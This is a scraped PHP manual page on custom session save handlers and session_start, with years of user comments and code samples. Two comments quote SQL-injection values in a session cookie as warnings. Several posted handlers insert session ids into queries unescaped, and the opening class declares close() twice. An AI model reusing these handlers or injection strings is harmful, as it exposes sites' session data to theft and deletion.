class Session
{

    /**
     * a database connection resource
     * @var resource
     */
    private $_sess_db;

    /**
     * Open the session
     * @return bool
     */
    public function open() {

        if ($this->_sess_db = mysql_connect(SESSION_DB_HOST,
                                            SESSION_DB_USER,
                                            SESSION_DB_PASS)) {
            return mysql_select_db(SESSION_DB_DATABASE, $this->_sess_db);
        }
        return false;

    }

    /**
     * Close the session
     * @return bool
     */
    public function close() {

        return mysql_close($this->_sess_db);

    }

    /**
     * Close the session
     * @return bool
     */
    public function close() {

        return mysql_close($this->_sess_db);

    }

    /**
     * Read the session
     * @param int session id
     * @return string string of the sessoin
     */
    public function read($id) {

        $id = mysql_real_escape_string($id);
        $sql = sprintf("SELECT `data` FROM `sessions` " .
                       "WHERE id = '%s'", $id);
        if ($result = mysql_query($sql, $this->_sess_db)) {
            if (mysql_num_rows($result)) {
                $record = mysql_fetch_assoc($result);
                return $record['data'];
            }
        }
        return '';

    }

    /**
     * Write the session
     * @param int session id
     * @param string data of the session
     */
    public function write($id, $data) {

        $sql = sprintf("REPLACE INTO `sessions` VALUES('%s', '%s', '%s')",
                       mysql_real_escape_string($id),
                       mysql_real_escape_string($data),
                       mysql_real_escape_string(time()));
        return mysql_query($sql, $this->_sess_db);

    }

    /**
     * Destoroy the session
     * @param int session id
     * @return bool
     */
    public function destroy($id) {

        $sql = sprintf("DELETE FROM `sessions` WHERE `id` = '%s'", $id);
        return mysql_query($sql, $this->_sess_db);

}

    /**
     * Garbage Collector
     * @param int life time (sec.)
     * @return bool
     * @see session.gc_divisor      100
     * @see session.gc_maxlifetime 1440
     * @see session.gc_probability    1
     * @usage execution rate 1/100
     *        (session.gc_probability/session.gc_divisor)
     */
    public function gc($max) {

        $sql = sprintf("DELETE FROM `sessions` WHERE `timestamp` < '%s'",
                       mysql_real_escape_string(time() - $max));
        return mysql_query($sql, $this->_sess_db);

    }

}

//ini_set('session.gc_probability', 50);
ini_set('session.save_handler', 'user');

$session = new Session();
session_set_save_handler(array($session, 'open'),
                         array($session, 'close'),
                         array($session, 'read'),
                         array($session, 'write'),
                         array($session, 'destroy'),
                         array($session, 'gc'));

// below sample main

session_start();
session_regenerate_id(true);

if (isset($_SESSION['counter'])) {
    $_SESSION['counter']++;
} else {
    $_SESSION['counter'] = 1;
}

?>
mixailo at mercenaries dot ru 11-Oct-2007 04:55
It is useful to use MEMORY storage engine in MySQL while handling sessions.
http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html
james at dunmore dot me dot uk 11-Oct-2007 08:52
I think it is very important here to stress that the WRITE method should use UPDATE+INSERT (or mysql specific REPLACE).

There is example code "out there" that uses just UPDATE for the write method, in which case, when session_regenerate_id is called, session data is lost (as an update would fail, as the key has changed).

I've just wasted a whole day due to this (I know I should have thought it through / RTFM, but it is an easy trap to fall into).
sroby at colubris dot company 24-May-2007 08:56
The Web app I work on stores sessions in a database using PEAR::DB, so when I migrated it to PHP 5 everything broke because the DB object was unallocated by the time the write/close handlers were called.

However, I've found that adding <?php register_shutdown_function("session_write_close"); ?> works fine as a workaround to the problem.
Colin 08-Mar-2007 01:25
Aspects of this have been posted in various comments but it's helpful to make it clearer.

The custom session handler seems to perform actions in these orders:

When session_start() is called:

open
read
clean (if cleaning is being done this call)
write
close

When session_destroy() is called after session_start():

open
read
clean (if cleaning is being done this call)
destroy
close

When session_regenerate_id(1) is called after session_start():

open
read
clean (if cleaning is being done this call)
destroy
write
close
Colin 08-Mar-2007 12:10
When using a custom session handler, if the first callback function (sessOpen in my case) finds no session id, one is set by the time the second argument (sessRead in my case) is called.
matt at openflows dot org 19-Sep-2006 05:02
Note that for security reasons the Debian and Ubuntu distributions of php do not call _gc to remove old sessions, but instead run /etc/cron.d/php*, which check the value of session.gc_maxlifetime in php.ini and delete the session files in /var/lib/php*.  This is all fine, but it means if you write your own session handlers you'll need to explicitly call your _gc function yourself.  A good place to do this is in your _close function, like this:

<?php
function _close() {
    _gc(get_cfg_var("session.gc_maxlifetime"));
   // rest of function goes here
}
?>
information at saunderswebsolutions dot com 16-Aug-2006 11:56
Note that if session.auto_start is set to On in the php.ini, your session_set_save_handler will return false as the session has already been initialized.

If you are finding that your code works OK on one machine but doesn't work on another, check to see if session.auto_start is set to On
sneakyimp AT hotmail DOT com 04-Aug-2006 09:20
the behavior, return values, and exact time of calling for these functions is pretty poorly documented here.  i thought folks might like to know that:

1) calling session_start() triggers PHP to first call your open function and then call your read function before resuming with the code immediately following your session_start() call.

2) calling session_id('some_value') within your open function WILL NOT SET THE SESSION COOKIE (at least not on my setup - PHP 4.4.1).  Assuming you defined some function to validate a session id called my_func(), you might want to do something like this in your open function:

<?php
  function _open($save_path, $session_name) {
    // check for session id
    $sess_id = session_id();
    if (empty($sess_id) || !myfunc($sess_id)) {
      //session_id is INVALID - generating new
      $new_id = md5(uniqid("some random seed here"));
      session_id($new_id);
      setcookie(session_name(),
                    $new_id,
                    0,
                    "/",
                    ".mydomain.com");
      }

    return true;
  } // _open()
?>
djmaze@cpgnuke cms 20-May-2006 10:51
Since register_shutdown_function() and __destruct() will not work on object based sessions, ESPECIALY when they are database based thru a class, then it seems you're screwed.

Issue:
register_shutdown_function('shutdown_function');
new sql();
new session();

on destruct:
sql __destruct()
session __destruct() // can't call sql since already destroyed
shutdown_function() // can't call instances since already destroyed

A trick is to use an "first class instance"
<?php
class my_proper_destructor
{
    protected $destroyers = array();

    function add($class_instance)
    {
        if (is_class($class_instance))
            $destroyers[] = $class_instance;
    }

    function __destruct()
    {
        foreach($destroyers as $des)
            $des->on_destroy();
    }
}

$destruct = new my_proper_destructor();

// All your code starts here like:
class session
{
    function __construct()
    {
        global $destruct;
        $destruct->add($this);
    }
}

?>

Since my_proper_destructor is created first it also gets destroyed as the first. That way you can still call important class instances that need to do something on destruct.
mjohnson at pitsco dot com 28-Mar-2006 11:04
With regards to the read handler, the docs say:

  "Read function must return string value always to make save
  handler work as expected. Return empty string if there is no
  data to read."

I can't emphasize this enough. I just spent half a day trying to figure out why my sessions weren't storing any information. I was blithely returning the results of a query on the database from the read handler. Since there was no match for the new ID, the result was NULL. Since it wasn't a string, sessions were essentially disabled. So, the safe thing might be something like this:

<?php
function sessRead($id)
{
    // Look up data
    $results = getStuff($id);

    // Make sure it's a string
    settype($results, 'string');
    return $results;
}
?>

Of course, you can do whatever you want with it. But, no matter what, make sure you return a string.

HTH,
Michael
boswachter at xs4all nl 13-Jan-2006 03:37
If you're creating a sessionhandler class, and use a database-class and you are experiencing problems because of destroyed objects when write is called, you can fix this relatively easily:

register_shutdown_function("session_write_close");

This way, the session gets written of before your database-class is destroyed.
stalker at ruun dot de 03-Jan-2006 07:25
object- and mysql-based session-handler, requires the following table:

CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=InnoDB;

<?php
class session {
    // session-lifetime
    var $lifeTime;
    // mysql-handle
    var $dbHandle;
    function open($savePath, $sessName) {
       // get session-lifetime
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime");
       // open database-connection
       $dbHandle = @mysql_connect("server","user","password");
       $dbSel = @mysql_select_db("database",$dbHandle);
       // return success
       if(!$dbHandle || !$dbSel)
           return false;
       $this->dbHandle = $dbHandle;
       return true;
    }
    function close() {
        $this->gc(ini_get('session.gc_maxlifetime'));
        // close database-connection
        return @mysql_close($this->dbHandle);
    }
    function read($sessID) {
        // fetch session-data
        $res = mysql_query("SELECT session_data AS d FROM ws_sessions
                            WHERE session_id = '$sessID'
                            AND session_expires > ".time(),$this->dbHandle);
        // return data or an empty string at failure
        if($row = mysql_fetch_assoc($res))
            return $row['d'];
        return "";
    }
    function write($sessID,$sessData) {
        // new session-expire-time
        $newExp = time() + $this->lifeTime;
        // is a session with this id in the database?
        $res = mysql_query("SELECT * FROM ws_sessions
                            WHERE session_id = '$sessID'",$this->dbHandle);
        // if yes,
        if(mysql_num_rows($res)) {
            // ...update session-data
            mysql_query("UPDATE ws_sessions
                         SET session_expires = '$newExp',
                         session_data = '$sessData'
                         WHERE session_id = '$sessID'",$this->dbHandle);
            // if something happened, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // if no session-data was found,
        else {
            // create a new row
            mysql_query("INSERT INTO ws_sessions (
                         session_id,
                         session_expires,
                         session_data)
                         VALUES(
                         '$sessID',
                         '$newExp',
                         '$sessData')",$this->dbHandle);
            // if row was created, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // an unknown error occured
        return false;
    }
    function destroy($sessID) {
        // delete session-data
        mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
        // if session was deleted, return true,
        if(mysql_affected_rows($this->dbHandle))
            return true;
        // ...else return false
        return false;
    }
    function gc($sessMaxLifeTime) {
        // delete old sessions
        mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
        // return affected rows
        return mysql_affected_rows($this->dbHandle);
    }
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
                         array(&$session,"close"),
                         array(&$session,"read"),
                         array(&$session,"write"),
                         array(&$session,"destroy"),
                         array(&$session,"gc"));
session_start();
// etc...
?>
bachir 04-Dec-2005 10:48
php doesn't make any checks about PHPSESSID cookie format, it is then important to verify cookie format before making any sql request.

if your read session request is :
SELECT DataValue FROM sessions WHERE SessionID='$aKey'

this generic cookie could succeed to access others session: PHPSESSID=1' OR SessionID LIKE '%>>

for safety, you can make this verification before sql request:
if (! preg_match('/^([0-9a-f]{32})$/i',$aKey)) return NULL;

hope this can be helpful
rudy dot metzger at pareto dot nl 21-Sep-2005 06:18
NOTE: as from php-5.0.5, objects are destroyed BEFORE the session_write() is called! So if you use an object as custom session handler, your writes will fail, as at the moment of write the object is already destroyed. A workaround for this is to use session_write_close() in the __destruct() of the object. This however only works if you do not need any other objectes, as these already might be gone! I only hope that object are destroyed in "descening" order, as if you would have a DB object in the session handler object which handles the DB connects, you would have to use __destruct() also in this object. otherwise your session object is still alive but your DB is long gone...

I raised a bug for this already but it is claimed that this is no bug.

This only applies to versions 5.0.5 (and possibly higher)
kevin at insuremytrip dot com 25-Aug-2005 01:34
When creating a session-handling class, I have discovered that it is important to remember that your session object and the $_SESSION global are TWO SEPARATE ENTITIES. You need to create a reference between your Session Object and the built-in $_SESSION global:

<?php
session_set_save_handler(
 array(&$this, "_OPEN"),
 array(&$this, "_CLOSE"),
 array(&$this, "_READ"),
 array(&$this, "_WRITE"),
 array(&$this, "_DESTROY"),
 array(&$this, "_GC")
);

session_start();
header("Cache-control: private"); // to overcome/fix a bug in IE 6.x

$this->session    =& $_SESSION;
?>

Additionally, when you add a $_SESSION variable, it's a good idea to add it as a Session Object variable at the same time, if you want your code to use the Session Object between page changes/reloads:

<?php
function setSessionVariable($key,$value) {
    $_SESSION[$key] = $value;
    $this->session[$key] = $value;
    return;
}
?>
ccav at maxbaud dot net 21-Aug-2005 04:35
Ok, after much hairpulling, I've figured out a successful way to store objects in a session using a postgresql savehandler.

<?php
function write ($id, $sess_data)
{
  global $sql;  // my global db connection object
  $sess_data = @pg_escape_bytea(serialize($sess_id)); //works with any type
  $sql->Query("delete from sessions where sessionid = '$id'"); // delete old session record
  $sql->Query("insert into sessions (sessionid,datavalue) values ('$id', '$sess_data')");  //insert into session table
  return true;
}

function read ($id)
{
  global $sql;
  $result=$sql->Query("select * from sessions where sessionid = '$id'");
  if ($sql->rows==1) {
    $row=$sql->Fetch(0);
    $rval = unserialize(@pg_unescape_bytea($sql->data[2]));
    return $rval;
  } else {
    return "";
  }
}
?>

Make the datavalue column (the one used to store the actual session data) in the sessions table type bytea.

The problem apparently lies in the PHP serialize for objects, where there is a CR/LF inserted between the object id and the property array.  The CR/LF isn't escaped, and causes a fit for postgresql.

Any data type in PHP can be serialized, so there's no need to distinguish between types.

The object is fully restored, with methods.
niklas at removethisandthedot dot bivald dot com 15-Jul-2005 05:29
Many people are using session_set_save_handler to store the session in a session database, which ofcourse is both valid and smart since it (could) increas security.

What many people forgets, is that session ids can easily be edited by a user as he see fit (by editing a session_cookie for example*)

* If you like to play around to test your site, check Add n edit Cookies extension for firefox.

This might not be a big deal when saving them in a file, since the worst thing that may happen is that the user losts his session and a new one is generated. But when saving to an DB it is*. One should never trust that the server itself add slashes and escapes other vital characters.

* A google search for "SQL Injection" gives 716 000 hits.

Example code, none working:
<?PHP

    function read ($session_id)
    {
        $sql        = mysql_query("SELECT * FROM mysessions WHERE session_id=$session_id");
        $data= mysql_fetch_array($sql);

        }
    }

?>

Is obviously flawed. Since setting our session ID to "; drop mysessions; " would create serious problems.

A more suitable approch would be, something in the lines of:

Example code, none working:
<?PHP

    function read ($session_id)
    {

   // ( Code by php.net )
   if (get_magic_quotes_gpc()) {
       $session_id = stripslashes($session_id);
   }
   // Quote if not integer
   if (!is_numeric($session_id)) {
       $session_id = mysql_real_escape_string($session_id);
   }

        $sql        = mysql_query("SELECT * FROM mysessions WHERE session_id=$session_id");
        $fieldarray = mysql_fetch_array($sql);

        }
    }

?>

I quick checked different sample codes and tutorials and none of them actually escaped session ids.

That's my two cents for too night,
Niklas
korvus at kgstudios dot net 11-Jun-2005 05:34
It seems when you call 'session_name()', php loads the session id automatically from GET ( if the index exists ) and passes it to the 'read' callback method correctly, but the 'write' callback is invoked twice: first the auto-generated session id, then the custom session id

So be aware of what queries you execute inside the callback .. I got crazy because I used a MySQL 'REPLACE' statement to agilize, and I spent a lot of hours trying to understand why 2 rows instead of 1 were being affected ( the first id was inserting, the second updating )

I hope this helps!
Robert Chapin 06-May-2005 02:09
Session authentication is not meant to be part of the session handlers.

These handlers only read and write the session data itself, and will not allow you to call the vital function session_regenerate_id().

To add extra authentication routines, call them after session_start returns control.  DO NOT put them in your 'open' or 'read' handlers.

Enjoy,
-- Miqro
oliver at teqneers dot de 03-Feb-2005 03:44
For some people it might be important to know, that if the standard session handler has been overwritten with session_set_save_handler, no locking is working anymore (between session_read and session_write). The following might happen:

script "A" start         .
read session data        .
.                        script "B" start
.                        read session data
running (30secs)         add session data
.                        write sesion data
.                        script "B" stop
write session data       .
script "A" stop          .

If a script "A" runs for a long time (say 30secs) the same user might start another script "B", which also uses a session. Script "B" will start and read session data, even though script "A" is still running. Because script "B" is much faster it will finish its work and write back its session data before script "A" has ended. Now script "A" ends and overwrites all of script "B"'s session data. If you DON'T use session_set_save_handler, this cannot happend, because in this case, PHP will not start script "B" until script "A" ends.
Balu 19-Sep-2004 03:26
If a session is closed the save-handlers seem to be resetted (in PHP 4.1.2 they are), so you need to run session_set_save_handler() again after e.g. running session_write_close() and restarting the session with session_start();
dolan at unt dot edu 09-Jun-2004 01:23
This is an LDAP implementation that I wrote which works just fine for me.  This assumes you've got some global variables with your host and other info.  It also uses a custom error function which I have not defined here.  Also, it assumes your LDAP server is set up with correct permissions, objectclass, and all that.  I used an octet string in LDAP to hold the session data.  I had to manually wrap some of this so be careful with cutting and pasting.

<?php
$sessconn=null;
//Custom session handling stored in local LDAP
function ldap_sess_open($save_path,$session_name) {
    global $infohost,$infoport,$infodn,$infopw,$sessconn;
    $sessconn=@ldap_connect($infohost,$infoport);
    if(!@ldap_bind($sessconn,$infodn,$infopw)) {
    setError("Failed to open session.");
    return false;
    }
    return true;
}

function ldap_sess_close() {
    global $sessconn;
    @ldap_close($sessconn);
    return true;
}

function ldap_sess_read($id) {
    global $sessconn;
    $sr=@ldap_search($sessconn,'ou=sessions,o=Company',
"(cn=$id)");
    $info=@ldap_get_entries($sessconn,$sr);
    if($info['count']>0)
    return $info[0]['session'][0];
    else
    return "";
}

function ldap_sess_write($id,$sess_data) {
    global $sessconn;
    $update=array();
    $update['objectClass']=array('phpsession','top');
    $update['session']=$sess_data;
    $dn="cn=$id,ou=sessions,o=Company";
    @ldap_delete($sessconn,$dn);
    @ldap_add($sessconn,$dn,$update);
    return true;
}

function ldap_sess_destroy($id) {
    global $sessconn;
    $dn="cn=$id,ou=sessions,o=Company";
    @ldap_delete($sessconn,$dn);
    return true;
}

function ldap_sess_gc($maxlifetime) {
    global $sessconn;
    $sr=@ldap_search($sessconn,'ou=sessions,o=Company',
'(objectClass=phpsession)',array('+','cn'));
    $info=@ldap_get_entries($sessconn,$sr);
    if($info['count']>0) {
    for($i=0;$i<$info['count'];$i++) {
        $id=$info[$i]['cn'][0];
        $dn="cn=$id,ou=sessions,o=Company";
        $modified=stamp2local($info[$i]['modifytimestamp'][0]);
        if((time()-$modified)>=$maxlifetime)
        @ldap_delete($sessconn,$dn);
    }
    }
    return true;
}

//converts my LDAP timestamps over to Unix timestamps
function stamp2local($ldapstamp) {
    $year=substr($ldapstamp,0,4);
    $month=substr($ldapstamp,4,2);
    $day=substr($ldapstamp,6,2);
    $hour=substr($ldapstamp,8,2);
    $minute=substr($ldapstamp,10,2);
    $stamp=gmmktime($hour,$minute,0,$month,$day,$year);
    return $stamp;
}

//Use this so that if your LDAP server goes down people can still
//retain sessions the normal way
$checkds=@ldap_connect($infohost,$infoport);
if(@ldap_bind($checkds,$infodn,$infopw)) {
    session_set_save_handler("ldap_sess_open","ldap_sess_close",
"ldap_sess_read","ldap_sess_write","ldap_sess_destroy",
"ldap_sess_gc");
}
@ldap_close($checkds);
?>
tonanbarbarian at hotmail dot com 03-Dec-2003 10:30
I found the need to have a garbage collection function run with my sessions so I had to write my own session handler.

I took the example code above but found that it had a problem, it does not open the session file exclusively.
This means that if you have a frameset where 2 pages are accessing the session at the same time and both modify the session only the last page to finish processing will have its session data saved. The first page will have all of its session data overwritten.

So here is a modified version of a file session handler in PHP that has file locking. (Not supported on FAT or NFS apparently)

<?php
$sess_save_path = $sess_session_name = $fp=null;
function open ($save_path, $session_name) {
  global $sess_save_path, $sess_session_name;

  $sess_save_path = $save_path;
  $sess_session_name = $session_name;
  return(true);
}

function close() {
  global $fp;
  flock($fp, LOCK_UN);
  fclose($fp);
  $fp=null;
  return(true);
}

function read ($id) {
  global $sess_save_path, $sess_session_name, $fp;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "r+")) {
    flock($fp, LOCK_EX);
    $sess_data = fread($fp, filesize($sess_file));
    return($sess_data);
  } else {
    return(""); // Must return "" here.
  }

}

function write ($id, $sess_data) {
  global $sess_save_path, $sess_session_name, $fp;

  $sess_file = "$sess_save_path/sess_$id";
  if (!empty($fp)) {
    fseek($fp,0);
    return(fwrite($fp, $sess_data));
  } elseif ($fp = @fopen($sess_file, "w")) {
    flock($fp, LOCK_EX);
    return(fwrite($fp, $sess_data));
  } else {
    return(false);
  }
}

function destroy ($id) {
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  return(@unlink($sess_file));
}

function gc ($maxlifetime) {
    global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  return true;
}

session_set_save_handler ("open", "close", "read", "write", "destroy", "gc");
?>

enjoy
coco at digitalco2 dot com 23-Nov-2003 03:59
When using mySQL for your session handling functions, don't forget to call mysql_select_db() to change the database if you are using a separate database for your session data. Call mysql_select_db() INSIDE every handler function that accesses the database, since if you write session data after accessing another database, it will not change the database to your session database, and therefore, not write the session data.
ivo at magstudio dot net 25-Nov-2002 07:08
Just a few words to explain some troubles while using session_set_save_handler(). It appears that internally PHP calls session management functions in this order: open(), read(), write(), close(). Close() function is called even if you does not make a call to sesison_start(), perhaps for some reasons like cleaning.
   If you try to redefine these functions and call sessions_set_save_handler() but something doesn't work, (in my case the ssion data hasn't been written) it's a good idea to debug them in the order they are called. They doesn't produce error output to browser but you can use print or echo.
   Shortly, if your write() function doesn't work as expected take a look for errors in previous functions - open() and read().
   I hope that this will help to save someone few hours debugging.
steve at saturn5 dot com 10-Jun-2002 08:39
if you want to call session_start again after session_destroy, you have to call session_set_save_handler a second time. otherwise the session module doesn't know about all the nice functions you defined earlier because it has been destroyed.

example:

<?php
# session handlers functions are defined
# somewhere else

session_set_save_handler ("sess_open", "sess_close", "sess_read", "sess_write", "sess_destroy", "sess_gc");

session_start();

# do some stuff ...

session_destroy();

# call this again, because session_destroy
# destroys more than just the session.

session_set_save_handler ("sess_open", "sess_close", "sess_read", "sess_write", "sess_destroy", "sess_gc");

session_start();

# ...
?>

we need to call session_start() twice in our login script to prevent multiple logins. i tore my hair out over this one. hope this helps someone else. :)
spam at skurrilo dot de 08-May-2002 04:16
You can't use the session autostart feature with

session.save_handler = user

set in your php.ini. Use instead the auto_prepend_file directive in the php.ini and point it to your save_handler with an session_start() at the end.
jpm at phpbrasil dot com 17-Apr-2002 10:51
You may also use static class methods as the 'function names' for session_set_save_handler(), as in:

<?php
session_set_save_handler(
  array("SessionHandler", "open"),
  array("SessionHandler", "close"),
  array("SessionHandler", "read"),
  array("SessionHandler", "write"),
  array("SessionHandler", "destroy"),
  array("SessionHandler", "gc")
);
?>

Anyway, just a little note that this is also possible.
session_set_cookie_params
session_start
Session Functions


Initialize session data

session_set_save_handler
session_status
Session Functions
PHP Manual

session_start

(PHP 4, PHP 5)

session_start — Initialize session data

Description

bool session_start ( void )

session_start() creates a session or resumes the current one based on a session identifier passed via a GET or POST request, or passed via a cookie.

To use a named session, call session_name() before calling session_start().

When session.use_trans_sid is enabled, the session_start() function will register an internal output handler for URL rewriting.

If a user uses ob_gzhandler or similar with ob_start(), the function order is important for proper output. For example, ob_gzhandler must be registered before starting the session.

Return Values

This function returns TRUE if a session was successfully started, otherwise FALSE.

Changelog

Version | Description
5.3.0 | If a session fails to start, then FALSE is returned. Previously TRUE was returned.
4.3.3 | As of PHP 4.3.3, calling session_start() after the session was previously started will result in an error of level E_NOTICE. Also, the second session start will simply be ignored.

Examples

Example #1 A session example: page1.php

<?php
// page1.php

session_start();

echo 'Welcome to page #1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal']   = 'cat';
$_SESSION['time']     = time();

// Works if session cookie was accepted
echo '<br /><a href="page2.php">page 2</a>';

// Or maybe pass along the session id, if needed
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>

After viewing page1.php, the second page page2.php will magically contain the session data. Read the session reference for information on propagating session ids as it, for example, explains what the constant SID is all about.

Example #2 A session example: page2.php

<?php
// page2.php

session_start();

echo 'Welcome to page #2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal'];   // cat
echo date('Y m d H:i:s', $_SESSION['time']);

// You may want to use SID here, like we did in page1.php
echo '<br /><a href="page1.php">page 1</a>';
?>

Notes

Note:

To use cookie-based sessions, session_start() must be called before outputing anything to the browser.

Note:

Use of zlib.output_compression is recommended instead of ob_gzhandler()

Note:

This function sends out several HTTP headers depending on the configuration. See session_cache_limiter() to customize these headers.

See Also

  • $_SESSION
  • The session.auto_start configuration directive
  • session_id() - Get and/or set the current session id

User Contributed Notes

Andrewgerm 11-Jan-2012 02:10
On the 'cannot start session, session already sent' a small note further to the advice already posted.

As I develop jointly on Windows and Linux, often on the same sites, I do use UTF-8. If you see the session error, try changing the file encoding (perhaps from UTF-8 to US-ASCII, and back again).

Then, to be certain, save-as and overwrite the existing file.

Solved the issue for me.
james at ustelcom dot net 15-Nov-2011 02:52
I had the infamous "Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent ..." error, and I was convinced it was because I was trying to open a session AND send a cookie.  I tried everything that was suggested, uploaded in ANSI, uploaded in UTF 8, etc.  I tried opening the session first, then sending the cookie first.  Turns out my problem was quite simple:

" <?php
session_start();

?>"

Do you see the problem with my code?  I finally did:

" <?php"
^^------ There is an accidental space!

I'm sure I'm not the only one who encounters this problem.  Hopefully this helps others!
max_bilyk at yahoo dot com 04-Nov-2011 06:53
An interesting bug/misfunction was discovered when using Flash-based file uploader (in my case jQuery plugin Uploadify, but also found similar problem reports about SWFupload).

Problem occurs with PHP 5.2 (and probably later as well) when it is compiled with Suhosin patch.

The problem is that session_start() does not load session data into $_SESSION variable when it gets request from Flash, and in this case $_SESSION variable becomes empty and at the end  of script execution erases session data when script execution ends (PHP saves this empty $_SESSION to file).

The fact that Flash is using its own session management is solved by passing via POST/GET correct session ID, but erasing session data is definitely a problem.

The reason for the problem is method of session data encryption - Suhosin uses user-agent data as a part of encryption key.

And in case client machine makes requests from two different user-agents (browser + flash) Suhosin generates different session decryption key which is unable to decrypt session data (and notice that there's no message about this fact in any log-file).

So the solution for such case may be either by disabling encryption of session data by putting such directive in php.ini:

suhosin.session.encrypt=Off

or, alternatively, still keep session data encrypted but exclude user-agent data from encryption key by using this directive in php.ini:

suhosin.session.cryptua=Off
Dark Angel 16-Oct-2011 07:49
I had script which should under CLI restore session set by web interface.

Spent like few hours understanding why script with session_id($sid) and session_start() is not restoring session, but generating new one. No any notices or anything helping to resolve.

$sid was read from STDIN. Issue was that value from STDIN contained '\n' character at the end, which is invalid for session identifier. Discovered by stracing CLI script.

Hope this will save you a lot of time.
sanjuro at 1up-games dot com 18-Aug-2011 11:56
The problem with SID is that if on occasions you don't start a session, instead of outputting an empty string for transparent integration it will return the regular undefined constant notice. So you might want to test the constant with defined() beforehand.
Quick Tipson 13-Aug-2011 09:33
Start session only if not already started:

<?php
  if (!isset ($_COOKIE[ini_get('session.name')])) {
    session_start();
  }
?>
egonrp 19-Jul-2011 06:59
SOLVED: Session data lost

My session data lost problem was resolved by using a short name for session key.
This error happens with PHP version 5.2.6 (Debian Lenny), others versions works fine without any modification.

Before:
$_SESSION['current_user_search_filter'] = serialize($myArray);
$value = unserialize($_SESSION['current_user_search_filter']);

After (short key name):
$_SESSION['usearchfilter'] = serialize($myArray);
$value = unserialize($_SESSION['usearchfilter']);

Good Luck! :)
gkemaldag at gmail dot com 20-Apr-2011 12:37
For the error:

Warning: session_start(): Cannot send session cache limiter - headers already sent ...

this kind of errors would occur, when the encoding of your script file needs to send some headers just after your script starts to execute,

this happens mostly with the scripts using normal utf8 encoding.

To overcome the issue, use utf8(without BOM) encoding provided by notepad++ and most modern editors. Using utf8 encoding and cookie based sessions, will result in headers already sent by error.
tbali0524 at gmail dot com 08-Apr-2011 02:25
I spent several hours in debuggging a strange session problem.

My website that uses sessions for login and language selection worked perfectly with Firefox or Chrome but not with IE9. (I did not tried with earlier versions.)
Even more strange was that it also worked with IE9 at localhost using XAMPP but not at the hosted site.

Finally it turned out that the problem was I used underscore (_) in the subdomain name.
(e.g.   "test_mysite.example.com" )
It turned out that underscore is not standard in domain name and IE seems to be more strict in this than the other.
alakys 03-Mar-2011 08:26
Sorry for the noob comment but for those having the error :

Warning: session_start(): Cannot send session cache limiter - headers already sent ...

And before trying all the solutions added by the experts, simply ensure to have your php code before even the DOCTYPE tag like this (and not between the doctype and html tags as I was doing):

<?php session_start(); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Test Page</title>
</head>

<body>
etc ....

It might sound funny but I am sure this post will save time to some others noobs like me ... !
linblow at hotmail dot fr 16-Feb-2011 05:06
If you want to handle sessions with a class, I wrote this little class:

<?php

/*
    Use the static method getInstance to get the object.
*/

class Session
{
    const SESSION_STARTED = TRUE;
    const SESSION_NOT_STARTED = FALSE;

    // The state of the session
    private $sessionState = self::SESSION_NOT_STARTED;

    // THE only instance of the class
    private static $instance;

    private function __construct() {}

    /**
    *    Returns THE instance of 'Session'.
    *    The session is automatically initialized if it wasn't.
    *
    *    @return    object
    **/

    public static function getInstance()
    {
        if ( !isset(self::$instance))
        {
            self::$instance = new self;
        }

        self::$instance->startSession();

        return self::$instance;
    }

    /**
    *    (Re)starts the session.
    *
    *    @return    bool    TRUE if the session has been initialized, else FALSE.
    **/

    public function startSession()
    {
        if ( $this->sessionState == self::SESSION_NOT_STARTED )
        {
            $this->sessionState = session_start();
        }

        return $this->sessionState;
    }

    /**
    *    Stores datas in the session.
    *    Example: $instance->foo = 'bar';
    *
    *    @param    name    Name of the datas.
    *    @param    value    Your datas.
    *    @return    void
    **/

    public function __set( $name , $value )
    {
        $_SESSION[$name] = $value;
    }

    /**
    *    Gets datas from the session.
    *    Example: echo $instance->foo;
    *
    *    @param    name    Name of the datas to get.
    *    @return    mixed    Datas stored in session.
    **/

    public function __get( $name )
    {
        if ( isset($_SESSION[$name]))
        {
            return $_SESSION[$name];
        }
    }

    public function __isset( $name )
    {
        return isset($_SESSION[$name]);
    }

    public function __unset( $name )
    {
        unset( $_SESSION[$name] );
    }

    /**
    *    Destroys the current session.
    *
    *    @return    bool    TRUE is session has been deleted, else FALSE.
    **/

    public function destroy()
    {
        if ( $this->sessionState == self::SESSION_STARTED )
        {
            $this->sessionState = !session_destroy();
            unset( $_SESSION );

            return !$this->sessionState;
        }

        return FALSE;
    }
}

/*
    Examples:
*/

// We get the instance
$data = Session::getInstance();

// Let's store datas in the session
$data->nickname = 'Someone';
$data->age = 18;

// Let's display datas
printf( '<p>My name is %s and I\'m %d years old.</p>' , $data->nickname , $data->age );

/*
    It will display:

    Array
    (
        [nickname] => Someone
        [age] => 18
    )
*/

printf( '<pre>%s</pre>' , print_r( $_SESSION , TRUE ));

// TRUE
var_dump( isset( $data->nickname ));

// We destroy the session
$data->destroy();

// FALSE
var_dump( isset( $data->nickname ));

?>

I prefer using this class instead of using directly the array $_SESSION.
math[dot]lechat[at-at]gmail[dot]com 14-Feb-2011 01:08
"Cannot send session cookie - headers already sent" comes most often when the file is encoded in UTF-8 WITH BOM under Windows.
When transfered on an UNIX server the BOM is considered as text and sent before any header you can define.
anon at ymous dot com 04-Feb-2011 01:51
